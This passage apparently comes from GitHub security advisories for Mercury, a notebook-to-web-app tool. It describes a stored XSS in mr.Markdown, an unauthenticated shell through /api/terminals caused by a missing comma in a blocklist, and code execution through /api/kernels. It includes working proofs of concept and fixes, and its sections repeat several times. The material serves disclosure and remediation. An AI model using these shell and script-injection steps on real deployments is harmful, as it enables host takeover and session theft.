2. The rendering sink is unsanitized innerHTML. MarkdownWidget (mercury/md.py:21) subclasses ipywidgets.HTML. The ipywidgets HTML widget renders its value into the DOM as raw HTML via innerHTML, with no sanitization (this is the widget's design). Event-handler payloads such as <img src=x onerror=…> therefore execute when the widget is displayed.

On the "sanitize" that exists: mercury_app/notebook_sanitize.py (sanitize_notebook_for_mercury_runtime) and packages/lab/src/mercury/save.ts (sanitizeMercuryNotebookContent) strip runtime metadata and clear code-cell saved outputs. They do not neutralize HTML/JS, and they do not touch widget values or markdown source. "Sanitize" here is notebook hygiene, not XSS defense.

Threat model (attacker → victim, not self-inflicted)

The CVE-relevant framing is data-driven: the app author writes ordinary code, and the data is attacker-controlled.

import mercury as mr
# `row` comes from a DB / user submission / uploaded file / external API —
# i.e. NOT authored by the app developer:
mr.Markdown(row["comment"])

The attacker supplies the untrusted value (posts the comment, uploads the file, poisons the API/RAG source). A different user — another app user, a reviewer, an admin — then opens the app, and the payload executes in their browser. The vulnerable component (Mercury's server-side widget rendering) and the impacted component (the victim's browser session in the app origin) differ, which is the classic stored-XSS attacker/victim separation.

Amplifier — session sharing (--keep-session). Mercury can serve one shared kernel session to all viewers (mercury run … --keep-session, README "Arguments": "share the same session between multiple users … others will see this"). It is opt-in and defaults to off (keepSession=False in mercury_app/handlers.py), so it is not required for the base case — any app that renders one user's untrusted data to another user is already vulnerable. When enabled, content one viewer submits is rendered into the session other viewers see, extending this to cross-user delivery. Authentication is opt-in and off by default: a free password gate exists (mercury run … --pass=…, README), while user-based authentication is a paid add-on. Because auth is off unless the operator enables it, unauthenticated public deployments — where the attacker needs no account — are a realistic default.

Proof of Concept

import mercury as mr

# Value that would realistically arrive from untrusted data (DB row, form field,
# uploaded file, API/LLM response):
untrusted = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'

mr.Markdown(untrusted)   # rendered to raw HTML, unsanitized, into the app DOM

The generated widget HTML contains the payload verbatim; when the widget is displayed, the onerror handler runs.

What was confirmed (and how)

• Confirmed by execution in a real browser (sink level): driving the actual python-markdown output into the same ipywidgets.HTML value sink the widget uses causes the payload to execute in headless Chromium. Execution was captured via Playwright's dialog event (which fires only on a genuine alert(), so the mere presence of the string in the HTML cannot cause a false positive). A benign control (**hello**) produced zero dialogs, confirming the harness reports only real execution. python-markdown passes <img src=x onerror=…> through verbatim by default (behavior is not version-specific).
• Reasoned from source (not executed end-to-end): the full path from a mr.Markdown(...) call in a served Mercury app to a viewer's DOM was not run end-to-end, because no isolated container/VM was available in the reporting environment. Because MarkdownWidget is the ipywidgets.HTML sink above and Mercury's frontend applies no sanitizer to widget HTML values (the only frontend sanitizer strips notebook metadata at save time), the served-app path is expected to behave identically. Reproduce end-to-end before publishing if you want the advisory to state full-path browser confirmation.

Impact

Mercury shares notebooks as web apps/dashboards, often for non-technical audiences. When an app renders untrusted data through mr.Markdown, the generated page carries attacker-controlled script that runs in the browser of any other viewer, in the app origin — enabling session/cookie/token theft, UI spoofing and forced actions as the victim, and pivoting within the hosting origin. With --keep-session, this extends to cross-user delivery within a shared session.

Severity rationale (CVSS 3.1 per-metric)

Base score reflects the realistic default: an unauthenticated deployment whose app renders untrusted data via mr.Markdown.

| Metric | Value | Reason | |---|---|---| | AV Attack Vector | Network (N) | App is served over HTTP to remote users. | | AC Attack Complexity | Low (L) | No special conditions or race; supply data that reaches an mr.Markdown call. | | PR Privileges Required | None (N) | Baseline: the injection channel (public form/upload/API) needs no account; auth is optional/paid. See variant below. | | UI User Interaction | Required (R) | A victim must open/view the app page for the stored payload to run. | | S Scope | Changed (C) | The vulnerable component (server-side widget render) injects script that executes in a different security authority — the victim's browser session/origin. (This is the canonical XSS scoping in the CVSS 3.1 spec.) | | C Confidentiality | Low (L) | Script can read data/session material available to the app origin; scored L (not H) for a generic app without asserting full account takeover. | | I Integrity | Low (L) | Script can alter the page and act as the victim within the app; scored L generically. | | A Availability | None (N) | No direct availability impact. |

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium).

Deployment-dependent variants (state your environment's when filing):

• Injection channel requires an authenticated low-privilege user → PR:L → …/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4.
• App origin exposes high-value auth material such that XSS yields full session/account takeover → C:H/I:H raises the score; justify per deployment rather than claiming it universally.

Remediation

Primary — sanitize by default in mr.Markdown, with an explicit opt-out for the deliberate raw-HTML use case (backward-compatible, non-breaking):

# mercury/md.py
def _to_html(self, text: str, unsafe_allow_html: bool = False) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)
    else:
        body = f"<pre>{escape(text)}</pre>"
    if not unsafe_allow_html:
        # allowlist tags/attributes; strip javascript:/data: schemes and event handlers
        body = nh3.clean(body)            # or bleach.clean(..., strip=True)
    return self._apply_inline_theme(body)

Expose unsafe_allow_html=False on mr.Markdown(...) so authors who deliberately embed trusted raw HTML can opt in, while the default is safe. This mirrors the convention used by comparable tools (e.g. Streamlit's unsafe_allow_html).

Defense-in-depth: since widget HTML values are written via innerHTML without sanitization, consider sanitizing widget HTML values at the frontend before they reach the DOM, and/or serving a Content-Security-Policy that forbids inline event handlers, so a single missed sink is not immediately exploitable.

Additional hardening (secondary — not the reported vulnerability)

Several widget ESMs write the label with innerHTML, e.g. mercury/text.py topLabel.innerHTML = model.get("label") || … (same shape in number.py, time.py, date/datetime/daterange/select/json/file, and indicator.py's _card_html). This is not an attacker→victim XSS path: labels are static strings set by the app author in Python; URL/url_params overrides affect only widget value (assigned via the safe input.value property), never label, so there is no end-user/URL route into a label. It is a defense-in-depth / author footgun only. Recommended regardless: render UI strings with textContent, or html.escape labels, so output encoding is applied uniformly.

Summary

A missing comma in mercury_app/block_handler.py's BLOCKED_PATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.

Details

The blocklist in mercury_app/block_handler.py is defined as:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:

/lab...(?:/.*)?/api/terminals(?:/.*)? (the first two lines joined together) /api/shutdown(?:/.*)? /files(?:/.*)?

A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.

PoC

Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default configuration.

Step 1 - spawn a terminal:

curl -i -X POST http://localhost:8888/api/terminals

Response: {"name": "1", "last_activity": "..."}

Step 2 - connect to the terminal and execute commands:

python3 -c "
import websocket, json, time

ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)

ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"

Observed output:

["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Confirms full, interactive root shell access with no authentication or prior access of any kind.

Impact

• Confidentiality: full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).
• Integrity: attacker can modify or delete any file, including notebooks served to other users.
• Availability: attacker can shut down or crash the server/container.
• Lateral movement: the shell can be used as a foothold to attack other systems reachable from the host's network.

Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).

Fix

Add the missing comma so /api/terminals becomes an independent blocklist rule:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Mercury runs a JupyterLab server with anonymous access by default (mercury_app/__main__.py sets --IdentityProvider.token='' when no --token/MERCURY_TOKEN is given; when tokenless it also sets --ServerApp.disable_check_xsrf=True). It relies on a blocklist (mercury_app/block_handler.py BLOCKED_PATTERNS: /lab, /api/terminals, /api/shutdown, /files) to keep anonymous users off dangerous Jupyter endpoints.

The vulnerability

/api/kernels is NOT in the blocklist (and cannot be — Mercury needs kernels to run notebooks), and patch_kernel_websocket_handler() (mercury_app/idle_timeout.py) only tracks the idle-timeout: it wraps on_message to call self.application._timeout_manager.touch() and then invokes the original handler with no filtering of execute_request. So any unauthenticated network client can:

POST /api/kernels {"name":"python3"}        -> 201, returns kernel id
open websocket /api/kernels/<id>/channels
send an execute_request with arbitrary code -> arbitrary Python execution = RCE

Distinct from GHSA-f8c7-rwf9-fmgm (incomplete fix)

GHSA-f8c7 was "Unauthenticated RCE via /api/terminals" — a missing-comma blocklist bypass. Its fix (add the comma so /api/terminals is blocked) does NOT address /api/kernels, which remains exploitable. The blocklist approach is fundamentally unable to cover kernels, so this is not a variant that another blocklist entry fixes.

Runtime-proven (on the patched version)

On mercury 3.2.4 — the release that fixed GHSA-f8c7 — with the default (tokenless) config, as an unauthenticated client: POST /api/terminals returns 403 (the f8c7 fix is present), but POST /api/kernels returns 201; opening the kernel websocket and sending an execute_request executed attacker-supplied Python (ran whoami as the server process user and wrote a marker file /tmp/PWNED_MERCURY_RCE). Full unauthenticated remote code execution. Deterministic PoC (client script + notebook) included.

Impact

Unauthenticated, network-reachable arbitrary code execution as the Mercury server process user on every default deployment — complete compromise of the host/container and any data/secrets it can reach.

Fix

The blocklist cannot secure an anonymous kernel-backed server. Require real per-request authentication (a token or password) by default, or restrict the kernel message channel so anonymous websocket clients cannot issue execute_request outside Mercury's own controlled execution flow.

Dedup (3-method)

OSV.dev CLEAN(0) for mercury and mljar-mercury; the repo's only advisory (GHSA-f8c7-rwf9-fmgm) covers /api/terminals only (description does not mention kernels); no issue/PR describes the /api/kernels RCE (#219/#134/#262 are "add auth" feature requests that merely confirm anonymous-by-default). Sink independently confirmed on current HEAD (blocklist omits /api/kernels; token='' default; patch_kernel_websocket_handler does no execute filtering).

Finder: Abdullah Kareem (GitHub: CyberKareem).

Summary

Mercury turns Jupyter notebooks into shared web apps/dashboards. The mr.Markdown widget converts its input to HTML with python-markdown and no sanitization step. MarkdownWidget is an ipywidgets.HTML widget, whose value is written to the page as raw HTML (via innerHTML) with no sanitization, so the result reaches the DOM verbatim. When an app passes untrusted data (database rows, user submissions, uploaded file contents, or an external/LLM API response) to mr.Markdown, HTML/JS in that data executes in the browser of whoever views the app — a data-driven stored/DOM-based XSS.

This is a library-provided rendering sink that fails to neutralize output; it is triggered by ordinary, reasonable application code, not by an author mistake.

Root cause

mercury/md.py — MarkdownWidget._to_html() (verified at v3.2.6, lines ~57–65):

def _to_html(self, text: str) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)          # python-markdown: passes raw HTML through
    else:
        body = f"<pre>{escape(text)}</pre>"   # escape() is ONLY the md-lib-absent fallback
    return self._apply_inline_theme(body)     # regex styling — adds style=, removes nothing

Two neutralization failures compound:

1. Markdown → HTML is unsanitized. python-markdown passes raw HTML through by default: <img src=x onerror=…>, <svg onload=…>, and javascript: links survive verbatim. There is no bleach/nh3 allowlist anywhere in the package. _apply_inline_theme() only injects inline style= attributes via regex; it is not a sanitizer and removes nothing. escape() runs only in the md-lib-absent fallback.

2. The rendering sink is unsanitized innerHTML. MarkdownWidget (mercury/md.py:21) subclasses ipywidgets.HTML. The ipywidgets HTML widget renders its value into the DOM as raw HTML via innerHTML, with no sanitization (this is the widget's design). Event-handler payloads such as <img src=x onerror=…> therefore execute when the widget is displayed.

On the "sanitize" that exists: mercury_app/notebook_sanitize.py (sanitize_notebook_for_mercury_runtime) and packages/lab/src/mercury/save.ts (sanitizeMercuryNotebookContent) strip runtime metadata and clear code-cell saved outputs. They do not neutralize HTML/JS, and they do not touch widget values or markdown source. "Sanitize" here is notebook hygiene, not XSS defense.

Threat model (attacker → victim, not self-inflicted)

The CVE-relevant framing is data-driven: the app author writes ordinary code, and the data is attacker-controlled.

import mercury as mr
# `row` comes from a DB / user submission / uploaded file / external API —
# i.e. NOT authored by the app developer:
mr.Markdown(row["comment"])

The attacker supplies the untrusted value (posts the comment, uploads the file, poisons the API/RAG source). A different user — another app user, a reviewer, an admin — then opens the app, and the payload executes in their browser. The vulnerable component (Mercury's server-side widget rendering) and the impacted component (the victim's browser session in the app origin) differ, which is the classic stored-XSS attacker/victim separation.

Amplifier — session sharing (--keep-session). Mercury can serve one shared kernel session to all viewers (mercury run … --keep-session, README "Arguments": "share the same session between multiple users … others will see this"). It is opt-in and defaults to off (keepSession=False in mercury_app/handlers.py), so it is not required for the base case — any app that renders one user's untrusted data to another user is already vulnerable. When enabled, content one viewer submits is rendered into the session other viewers see, extending this to cross-user delivery. Authentication is opt-in and off by default: a free password gate exists (mercury run … --pass=…, README), while user-based authentication is a paid add-on. Because auth is off unless the operator enables it, unauthenticated public deployments — where the attacker needs no account — are a realistic default.

Proof of Concept

import mercury as mr

# Value that would realistically arrive from untrusted data (DB row, form field,
# uploaded file, API/LLM response):
untrusted = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'

mr.Markdown(untrusted)   # rendered to raw HTML, unsanitized, into the app DOM

The generated widget HTML contains the payload verbatim; when the widget is displayed, the onerror handler runs.

What was confirmed (and how)

• Confirmed by execution in a real browser (sink level): driving the actual python-markdown output into the same ipywidgets.HTML value sink the widget uses causes the payload to execute in headless Chromium. Execution was captured via Playwright's dialog event (which fires only on a genuine alert(), so the mere presence of the string in the HTML cannot cause a false positive). A benign control (**hello**) produced zero dialogs, confirming the harness reports only real execution. python-markdown passes <img src=x onerror=…> through verbatim by default (behavior is not version-specific).
• Reasoned from source (not executed end-to-end): the full path from a mr.Markdown(...) call in a served Mercury app to a viewer's DOM was not run end-to-end, because no isolated container/VM was available in the reporting environment. Because MarkdownWidget is the ipywidgets.HTML sink above and Mercury's frontend applies no sanitizer to widget HTML values (the only frontend sanitizer strips notebook metadata at save time), the served-app path is expected to behave identically. Reproduce end-to-end before publishing if you want the advisory to state full-path browser confirmation.

Impact

Mercury shares notebooks as web apps/dashboards, often for non-technical audiences. When an app renders untrusted data through mr.Markdown, the generated page carries attacker-controlled script that runs in the browser of any other viewer, in the app origin — enabling session/cookie/token theft, UI spoofing and forced actions as the victim, and pivoting within the hosting origin. With --keep-session, this extends to cross-user delivery within a shared session.

Severity rationale (CVSS 3.1 per-metric)

Base score reflects the realistic default: an unauthenticated deployment whose app renders untrusted data via mr.Markdown.

| Metric | Value | Reason | |---|---|---| | AV Attack Vector | Network (N) | App is served over HTTP to remote users. | | AC Attack Complexity | Low (L) | No special conditions or race; supply data that reaches an mr.Markdown call. | | PR Privileges Required | None (N) | Baseline: the injection channel (public form/upload/API) needs no account; auth is optional/paid. See variant below. | | UI User Interaction | Required (R) | A victim must open/view the app page for the stored payload to run. | | S Scope | Changed (C) | The vulnerable component (server-side widget render) injects script that executes in a different security authority — the victim's browser session/origin. (This is the canonical XSS scoping in the CVSS 3.1 spec.) | | C Confidentiality | Low (L) | Script can read data/session material available to the app origin; scored L (not H) for a generic app without asserting full account takeover. | | I Integrity | Low (L) | Script can alter the page and act as the victim within the app; scored L generically. | | A Availability | None (N) | No direct availability impact. |

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium).

Deployment-dependent variants (state your environment's when filing):

• Injection channel requires an authenticated low-privilege user → PR:L → …/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4.
• App origin exposes high-value auth material such that XSS yields full session/account takeover → C:H/I:H raises the score; justify per deployment rather than claiming it universally.

Remediation

Primary — sanitize by default in mr.Markdown, with an explicit opt-out for the deliberate raw-HTML use case (backward-compatible, non-breaking):

# mercury/md.py
def _to_html(self, text: str, unsafe_allow_html: bool = False) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)
    else:
        body = f"<pre>{escape(text)}</pre>"
    if not unsafe_allow_html:
        # allowlist tags/attributes; strip javascript:/data: schemes and event handlers
        body = nh3.clean(body)            # or bleach.clean(..., strip=True)
    return self._apply_inline_theme(body)

Expose unsafe_allow_html=False on mr.Markdown(...) so authors who deliberately embed trusted raw HTML can opt in, while the default is safe. This mirrors the convention used by comparable tools (e.g. Streamlit's unsafe_allow_html).

Defense-in-depth: since widget HTML values are written via innerHTML without sanitization, consider sanitizing widget HTML values at the frontend before they reach the DOM, and/or serving a Content-Security-Policy that forbids inline event handlers, so a single missed sink is not immediately exploitable.

Additional hardening (secondary — not the reported vulnerability)

Several widget ESMs write the label with innerHTML, e.g. mercury/text.py topLabel.innerHTML = model.get("label") || … (same shape in number.py, time.py, date/datetime/daterange/select/json/file, and indicator.py's _card_html). This is not an attacker→victim XSS path: labels are static strings set by the app author in Python; URL/url_params overrides affect only widget value (assigned via the safe input.value property), never label, so there is no end-user/URL route into a label. It is a defense-in-depth / author footgun only. Recommended regardless: render UI strings with textContent, or html.escape labels, so output encoding is applied uniformly.

Summary

A missing comma in mercury_app/block_handler.py's BLOCKED_PATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.

Details

The blocklist in mercury_app/block_handler.py is defined as:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:

/lab...(?:/.*)?/api/terminals(?:/.*)? (the first two lines joined together) /api/shutdown(?:/.*)? /files(?:/.*)?

A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.

PoC

Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default configuration.

Step 1 - spawn a terminal:

curl -i -X POST http://localhost:8888/api/terminals

Response: {"name": "1", "last_activity": "..."}

Step 2 - connect to the terminal and execute commands:

python3 -c "
import websocket, json, time

ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)

ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"

Observed output:

["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Confirms full, interactive root shell access with no authentication or prior access of any kind.

Impact

• Confidentiality: full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).
• Integrity: attacker can modify or delete any file, including notebooks served to other users.
• Availability: attacker can shut down or crash the server/container.
• Lateral movement: the shell can be used as a foothold to attack other systems reachable from the host's network.

Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).

Fix

Add the missing comma so /api/terminals becomes an independent blocklist rule:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Mercury runs a JupyterLab server with anonymous access by default (mercury_app/__main__.py sets --IdentityProvider.token='' when no --token/MERCURY_TOKEN is given; when tokenless it also sets --ServerApp.disable_check_xsrf=True). It relies on a blocklist (mercury_app/block_handler.py BLOCKED_PATTERNS: /lab, /api/terminals, /api/shutdown, /files) to keep anonymous users off dangerous Jupyter endpoints.

The vulnerability

/api/kernels is NOT in the blocklist (and cannot be — Mercury needs kernels to run notebooks), and patch_kernel_websocket_handler() (mercury_app/idle_timeout.py) only tracks the idle-timeout: it wraps on_message to call self.application._timeout_manager.touch() and then invokes the original handler with no filtering of execute_request. So any unauthenticated network client can:

POST /api/kernels {"name":"python3"}        -> 201, returns kernel id
open websocket /api/kernels/<id>/channels
send an execute_request with arbitrary code -> arbitrary Python execution = RCE

Distinct from GHSA-f8c7-rwf9-fmgm (incomplete fix)

GHSA-f8c7 was "Unauthenticated RCE via /api/terminals" — a missing-comma blocklist bypass. Its fix (add the comma so /api/terminals is blocked) does NOT address /api/kernels, which remains exploitable. The blocklist approach is fundamentally unable to cover kernels, so this is not a variant that another blocklist entry fixes.

Runtime-proven (on the patched version)

On mercury 3.2.4 — the release that fixed GHSA-f8c7 — with the default (tokenless) config, as an unauthenticated client: POST /api/terminals returns 403 (the f8c7 fix is present), but POST /api/kernels returns 201; opening the kernel websocket and sending an execute_request executed attacker-supplied Python (ran whoami as the server process user and wrote a marker file /tmp/PWNED_MERCURY_RCE). Full unauthenticated remote code execution. Deterministic PoC (client script + notebook) included.

Impact

Unauthenticated, network-reachable arbitrary code execution as the Mercury server process user on every default deployment — complete compromise of the host/container and any data/secrets it can reach.

Fix

The blocklist cannot secure an anonymous kernel-backed server. Require real per-request authentication (a token or password) by default, or restrict the kernel message channel so anonymous websocket clients cannot issue execute_request outside Mercury's own controlled execution flow.

Dedup (3-method)

OSV.dev CLEAN(0) for mercury and mljar-mercury; the repo's only advisory (GHSA-f8c7-rwf9-fmgm) covers /api/terminals only (description does not mention kernels); no issue/PR describes the /api/kernels RCE (#219/#134/#262 are "add auth" feature requests that merely confirm anonymous-by-default). Sink independently confirmed on current HEAD (blocklist omits /api/kernels; token='' default; patch_kernel_websocket_handler does no execute filtering).

Finder: Abdullah Kareem (GitHub: CyberKareem).

Summary

Mercury turns Jupyter notebooks into shared web apps/dashboards. The mr.Markdown widget converts its input to HTML with python-markdown and no sanitization step. MarkdownWidget is an ipywidgets.HTML widget, whose value is written to the page as raw HTML (via innerHTML) with no sanitization, so the result reaches the DOM verbatim. When an app passes untrusted data (database rows, user submissions, uploaded file contents, or an external/LLM API response) to mr.Markdown, HTML/JS in that data executes in the browser of whoever views the app — a data-driven stored/DOM-based XSS.

This is a library-provided rendering sink that fails to neutralize output; it is triggered by ordinary, reasonable application code, not by an author mistake.

Root cause

mercury/md.py — MarkdownWidget._to_html() (verified at v3.2.6, lines ~57–65):

def _to_html(self, text: str) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)          # python-markdown: passes raw HTML through
    else:
        body = f"<pre>{escape(text)}</pre>"   # escape() is ONLY the md-lib-absent fallback
    return self._apply_inline_theme(body)     # regex styling — adds style=, removes nothing

Two neutralization failures compound:

1. Markdown → HTML is unsanitized. python-markdown passes raw HTML through by default: <img src=x onerror=…>, <svg onload=…>, and javascript: links survive verbatim. There is no bleach/nh3 allowlist anywhere in the package. _apply_inline_theme() only injects inline style= attributes via regex; it is not a sanitizer and removes nothing. escape() runs only in the md-lib-absent fallback.

2. The rendering sink is unsanitized innerHTML. MarkdownWidget (mercury/md.py:21) subclasses ipywidgets.HTML. The ipywidgets HTML widget renders its value into the DOM as raw HTML via innerHTML, with no sanitization (this is the widget's design). Event-handler payloads such as <img src=x onerror=…> therefore execute when the widget is displayed.

On the "sanitize" that exists: mercury_app/notebook_sanitize.py (sanitize_notebook_for_mercury_runtime) and packages/lab/src/mercury/save.ts (sanitizeMercuryNotebookContent) strip runtime metadata and clear code-cell saved outputs. They do not neutralize HTML/JS, and they do not touch widget values or markdown source. "Sanitize" here is notebook hygiene, not XSS defense.

Threat model (attacker → victim, not self-inflicted)

The CVE-relevant framing is data-driven: the app author writes ordinary code, and the data is attacker-controlled.

import mercury as mr
# `row` comes from a DB / user submission / uploaded file / external API —
# i.e. NOT authored by the app developer:
mr.Markdown(row["comment"])

The attacker supplies the untrusted value (posts the comment, uploads the file, poisons the API/RAG source). A different user — another app user, a reviewer, an admin — then opens the app, and the payload executes in their browser. The vulnerable component (Mercury's server-side widget rendering) and the impacted component (the victim's browser session in the app origin) differ, which is the classic stored-XSS attacker/victim separation.

Amplifier — session sharing (--keep-session). Mercury can serve one shared kernel session to all viewers (mercury run … --keep-session, README "Arguments": "share the same session between multiple users … others will see this"). It is opt-in and defaults to off (keepSession=False in mercury_app/handlers.py), so it is not required for the base case — any app that renders one user's untrusted data to another user is already vulnerable. When enabled, content one viewer submits is rendered into the session other viewers see, extending this to cross-user delivery. Authentication is opt-in and off by default: a free password gate exists (mercury run … --pass=…, README), while user-based authentication is a paid add-on. Because auth is off unless the operator enables it, unauthenticated public deployments — where the attacker needs no account — are a realistic default.

Proof of Concept

import mercury as mr

# Value that would realistically arrive from untrusted data (DB row, form field,
# uploaded file, API/LLM response):
untrusted = '<img src=x onerror=alert(String.fromCharCode(88,83,83))>'

mr.Markdown(untrusted)   # rendered to raw HTML, unsanitized, into the app DOM

The generated widget HTML contains the payload verbatim; when the widget is displayed, the onerror handler runs.

What was confirmed (and how)

• Confirmed by execution in a real browser (sink level): driving the actual python-markdown output into the same ipywidgets.HTML value sink the widget uses causes the payload to execute in headless Chromium. Execution was captured via Playwright's dialog event (which fires only on a genuine alert(), so the mere presence of the string in the HTML cannot cause a false positive). A benign control (**hello**) produced zero dialogs, confirming the harness reports only real execution. python-markdown passes <img src=x onerror=…> through verbatim by default (behavior is not version-specific).
• Reasoned from source (not executed end-to-end): the full path from a mr.Markdown(...) call in a served Mercury app to a viewer's DOM was not run end-to-end, because no isolated container/VM was available in the reporting environment. Because MarkdownWidget is the ipywidgets.HTML sink above and Mercury's frontend applies no sanitizer to widget HTML values (the only frontend sanitizer strips notebook metadata at save time), the served-app path is expected to behave identically. Reproduce end-to-end before publishing if you want the advisory to state full-path browser confirmation.

Impact

Mercury shares notebooks as web apps/dashboards, often for non-technical audiences. When an app renders untrusted data through mr.Markdown, the generated page carries attacker-controlled script that runs in the browser of any other viewer, in the app origin — enabling session/cookie/token theft, UI spoofing and forced actions as the victim, and pivoting within the hosting origin. With --keep-session, this extends to cross-user delivery within a shared session.

Severity rationale (CVSS 3.1 per-metric)

Base score reflects the realistic default: an unauthenticated deployment whose app renders untrusted data via mr.Markdown.

| Metric | Value | Reason | |---|---|---| | AV Attack Vector | Network (N) | App is served over HTTP to remote users. | | AC Attack Complexity | Low (L) | No special conditions or race; supply data that reaches an mr.Markdown call. | | PR Privileges Required | None (N) | Baseline: the injection channel (public form/upload/API) needs no account; auth is optional/paid. See variant below. | | UI User Interaction | Required (R) | A victim must open/view the app page for the stored payload to run. | | S Scope | Changed (C) | The vulnerable component (server-side widget render) injects script that executes in a different security authority — the victim's browser session/origin. (This is the canonical XSS scoping in the CVSS 3.1 spec.) | | C Confidentiality | Low (L) | Script can read data/session material available to the app origin; scored L (not H) for a generic app without asserting full account takeover. | | I Integrity | Low (L) | Script can alter the page and act as the victim within the app; scored L generically. | | A Availability | None (N) | No direct availability impact. |

Result: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N = 6.1 (Medium).

Deployment-dependent variants (state your environment's when filing):

• Injection channel requires an authenticated low-privilege user → PR:L → …/PR:L/UI:R/S:C/C:L/I:L/A:N = 5.4.
• App origin exposes high-value auth material such that XSS yields full session/account takeover → C:H/I:H raises the score; justify per deployment rather than claiming it universally.

Remediation

Primary — sanitize by default in mr.Markdown, with an explicit opt-out for the deliberate raw-HTML use case (backward-compatible, non-breaking):

# mercury/md.py
def _to_html(self, text: str, unsafe_allow_html: bool = False) -> str:
    if md_lib is not None:
        body = md_lib.markdown(text)
    else:
        body = f"<pre>{escape(text)}</pre>"
    if not unsafe_allow_html:
        # allowlist tags/attributes; strip javascript:/data: schemes and event handlers
        body = nh3.clean(body)            # or bleach.clean(..., strip=True)
    return self._apply_inline_theme(body)

Expose unsafe_allow_html=False on mr.Markdown(...) so authors who deliberately embed trusted raw HTML can opt in, while the default is safe. This mirrors the convention used by comparable tools (e.g. Streamlit's unsafe_allow_html).

Defense-in-depth: since widget HTML values are written via innerHTML without sanitization, consider sanitizing widget HTML values at the frontend before they reach the DOM, and/or serving a Content-Security-Policy that forbids inline event handlers, so a single missed sink is not immediately exploitable.

Additional hardening (secondary — not the reported vulnerability)

Several widget ESMs write the label with innerHTML, e.g. mercury/text.py topLabel.innerHTML = model.get("label") || … (same shape in number.py, time.py, date/datetime/daterange/select/json/file, and indicator.py's _card_html). This is not an attacker→victim XSS path: labels are static strings set by the app author in Python; URL/url_params overrides affect only widget value (assigned via the safe input.value property), never label, so there is no end-user/URL route into a label. It is a defense-in-depth / author footgun only. Recommended regardless: render UI strings with textContent, or html.escape labels, so output encoding is applied uniformly.

Summary

A missing comma in mercury_app/block_handler.py's BLOCKED_PATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.

Details

The blocklist in mercury_app/block_handler.py is defined as:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:

/lab...(?:/.*)?/api/terminals(?:/.*)? (the first two lines joined together) /api/shutdown(?:/.*)? /files(?:/.*)?

